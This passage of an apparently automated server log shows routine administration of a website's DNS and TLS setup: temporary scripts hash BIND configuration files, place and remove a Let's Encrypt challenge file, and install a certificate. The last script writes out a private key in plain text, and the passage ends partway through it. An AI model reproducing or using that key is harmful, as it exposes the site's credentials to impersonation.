ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-10-09 11:17:37: Establishing a connection
2025-10-09 11:17:45: Establishing a connection
2025-10-09 11:17:45: 

PUT: /tmp/pkp921153

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-10-09 11:17:45: 

runuser -l bind -s /bin/bash -c '/tmp/pkp921153; rm /tmp/pkp921153'

2025-10-09 11:17:45: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= a3d92972abbb369edf3baf47c3e33e8b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-10-09 11:17:54: Establishing a connection
2025-10-09 11:17:54: Establishing a connection
2025-10-09 11:17:54: 

PUT: /tmp/pkp771567

#!/bin/bash
if [ -d "/var/www/carelinksaustralia_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-09 11:17:55: 

chmod 755 /tmp/pkp771567; /tmp/pkp771567; rm /tmp/pkp771567

2025-10-09 11:17:55: 


1


2025-10-09 11:17:56: Establishing a connection
2025-10-09 11:17:56: 

PUT: /tmp/pkp949231

#!/bin/bash
mkdir -p "/var/www/carelinksaustralia_www/.well-known/acme-challenge/"
cd "/var/www/carelinksaustralia_www/.well-known/acme-challenge/"
cat > igup75GHVtzzkM6047Ci_bqNOBoMqFCIh6i-39PB2D4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
igup75GHVtzzkM6047Ci_bqNOBoMqFCIh6i-39PB2D4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 igup75GHVtzzkM6047Ci_bqNOBoMqFCIh6i-39PB2D4


2025-10-09 11:17:56: 

chmod 755 /tmp/pkp949231; /tmp/pkp949231; rm /tmp/pkp949231

2025-10-09 11:17:56: 




2025-10-09 11:18:01: Establishing a connection
2025-10-09 11:18:01: 

PUT: /tmp/pkp183479

#!/bin/bash
mkdir -p "/var/www/carelinksaustralia_www/.well-known/acme-challenge/"
cd "/var/www/carelinksaustralia_www/.well-known/acme-challenge/"
rm igup75GHVtzzkM6047Ci_bqNOBoMqFCIh6i-39PB2D4


2025-10-09 11:18:01: 

chmod 755 /tmp/pkp183479; /tmp/pkp183479; rm /tmp/pkp183479

2025-10-09 11:18:01: 




2025-10-09 11:18:01: Establishing a connection
2025-10-09 11:18:01: 

PUT: /tmp/pkp349583

#!/bin/bash
temp_file=$(mktemp)
TARGET=01bea5c16e52f9c5f2fcf9fea9a569f2.crt

cat > $temp_file <<'endmsg'
21:03:60:73:69:20:19:5a:2e:d2:79:96:5b:57:94:3f

-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBroQFSy3DXAJhj0iOpYAjfcDMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDA5MTAxOTMxWhcNMjYwMTA3MTAxOTMwWjAiMSAwHgYDVQQD
ExdjYXJlbGlua3NhdXN0cmFsaWEuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBAOLYaj5wmV+oUiXkuQMjwDNB++vwX7U0QK5niWvwV+cxvF4WKjHL
r6vn4HqE4q4EzERKIirHlH1Uf3Z0ASEZjX4cYxsHX+T8Yz702TaWG5EG2ER+jsc+
GmWk6s5Eo9vfL3yQx5YfPPvcSAFXoP8KdMvD7IMNNiVrx2jdmPwMXf6ypvzlSXR2
JcKZVTGQRgpRlXLvDVY7UkqcR6/XCCWnQnbHoBCoTaEvc+RG1wAMHbfXWB9TC6nV
QON4QG4vgbOTOKaaZsetFVPGTxFzU4r+oCwAUxypHxS058ueM7cnaoEyMGED+arH
/3BjazKLAcQbsUFnjNRFdAQFZAKeTKkEjRcCAwEAAaOCAiYwggIiMA4GA1UdDwEB
/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/
BAIwADAdBgNVHQ4EFgQUrH86LHHv9SF5d312SyLsIyn84jQwHwYDVR0jBBgwFoAU
ALUp8i2ObzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAC
hhdodHRwOi8vcjEyLmkubGVuY3Iub3JnLzAiBgNVHREEGzAZghdjYXJlbGlua3Nh
dXN0cmFsaWEuaW5mbzATBgNVHSAEDDAKMAgGBmeBDAECATAtBgNVHR8EJjAkMCKg
IKAehhxodHRwOi8vcjEyLmMubGVuY3Iub3JnLzQuY3JsMIIBBAYKKwYBBAHWeQIE
AgSB9QSB8gDwAHYAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGZ
yLE23QAABAMARzBFAiEAkgR7XTyxLedPjdDAcNigDAmL3wcjNYvWka6QV8LW4l8C
ICOL+DLCt3VhRZe21a/xpJSglYy59o5TXssCFAtNFZWgAHYAlpdkv1VYl633Q4do
NwhCd+nwOtX2pPM2bkakPw/KqcYAAAGZyLE3AwAABAMARzBFAiANcUZxd/eZE3v3
jdy0lqykU7rVG6uu2oiDPI3XcGW0EAIhAMUa32XDhQTFvDxWihTuWjr8Ncia9ATy
qrTtH+xqorARMA0GCSqGSIb3DQEBCwUAA4IBAQCiaagkAJsOHrzKWC3LHq3DjFVl
sDdClIVdzB/2W1ZgLrCZSJ/bCS5ObjjREy98LhRBzdFW45TVTWtKlBOS+U1O50qx
FjVeOz4Tv38CoiUK3D7PaZDhhCfrX3C5jkkmkKZ9aaDOEBmi0SBCm+c4XBbV60SK
NXuEZ3qr9Yw1kSC+6we6PgHbI/uaBVAGlOwclyOrkkGFnkkAMwONYhPGWo8vqpjY
avu7HNr5XVqr/A0C09VK3zAUuhLW/n+WU2NfjQqSy2bxvfMn5ZeKOCZ7jpiYenIz
lPEFlxOSjVpQzW4lYG0q28Gh0MvBIURqeXNztSFRc6HaGefFALJovBUaw/xW
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDi2Go+cJlfqFIl
5LkDI8AzQfvr8F+1NECuZ4lr8FfnMbxeFioxy6+r5+B6hOKuBMxESiIqx5R9VH92
dAEhGY1+HGMbB1/k/GM+9Nk2lhuRBthEfo7HPhplpOrORKPb3y98kMeWHzz73EgB
V6D/CnTLw+yDDTYla8do3Zj8DF3+sqb85Ul0diXCmVUxkEYKUZVy7w1WO1JKnEev
1wglp0J2x6AQqE2hL3PkRtcADB2311gfUwup1UDjeEBuL4GzkzimmmbHrRVTxk8R
c1OK/qAsAFMcqR8UtOfLnjO3J2qBMjBhA/mqx/9wY2syiwHEG7FBZ4zURXQEBWQC
nkypBI0XAgMBAAECggEAMD2XsnmdlEMmXRqb4bgLmprwqQcwQ0e+bZhlGAg/mVHx
XgzWokpPrH4eNc/mqN0qV2dwhqp0wIZkqNsYlmJpvaTpyoix8u9dZ7kILFyVtiy/
dyl20ZY6ZN1CdeUQ96Qp5BKh7yHrhSAeS/LHsRUXK3IZ7PC1UBXwjTN64jb7Ejuj
WI61nlvATRNZNBaGG7heqqbvoVao88wHiWr4fw8EAgRXt1lTexVqX+OchUssJQ8e
bKHxfM7Dfa9aOgGTNFI1iYJ2ySITDkmh9P+IsqSthWtqz3QYuJydJPN8Gz9vnuS6
LjLmMzGukw/JhD1blehvKrWFR6FbIc+2ezvGoW0eEQKBgQD0Aarwg/72Qwwou9LI
y4WmuEvzsSMPj7Dn9A+7k4XtMtHF09JhH4U8iCpXCPaHlMUOzejiCGPWQYFGShIm
UAZ9XHvjwwPHrsjhRbwHPqw9x6noNSpsaoMkKrHcBuyIbPPqLX5rUJzDuGf+rer3
SLbce81sONNYsWGZWuHzSOpzOQKBgQDt/s8JQY4dkusMnpixm+pcoGoUXj4czzeB
NflWDGF0sXKiPPakG/YNA96zfX3IPd21DZeHwTc4VPL0wKdRZfwxiCri+2NMR1El
vlECmdkKNB8pS3nFoFfBI3SnNcITpjXXfxZ08nHh3YU7LhzIpRb3W115p4CHv4x6
DkgZIzJyzwKBgCnwH3E3PpsU6wIVRiU81bvR8TvxNhV2nPFBAXM758jc8zENNxt6
T2wX+y76W2TyLOxed6hhyMcKey2ZjYUIPBVPz/tViVDIub3+PlMAcportwgyGxiH
NgMBU5B9oCnSkBmvuAq50DfTegxL2BaoaMV8gdIX8jtMQXoaJLurzKABAoGAOHkR
KZIbpdrZ2Xm8o9BqcSZDZafjNzTYZ9ml24w+h9EfcW3j3Jch8H6tlou9kAlWFYMv
JLBtaPmHWRpp2X/IsvwrqQabzlrR35HkaSiWfrxVdJgLQiDFEfhW0uKHtd/nwMXQ
T1nEOiM1XRCZFedOps1QRfDAJ/YE4GWJKCXY77MCgYAUsglfhIY8AqK0e2Eh/GhP
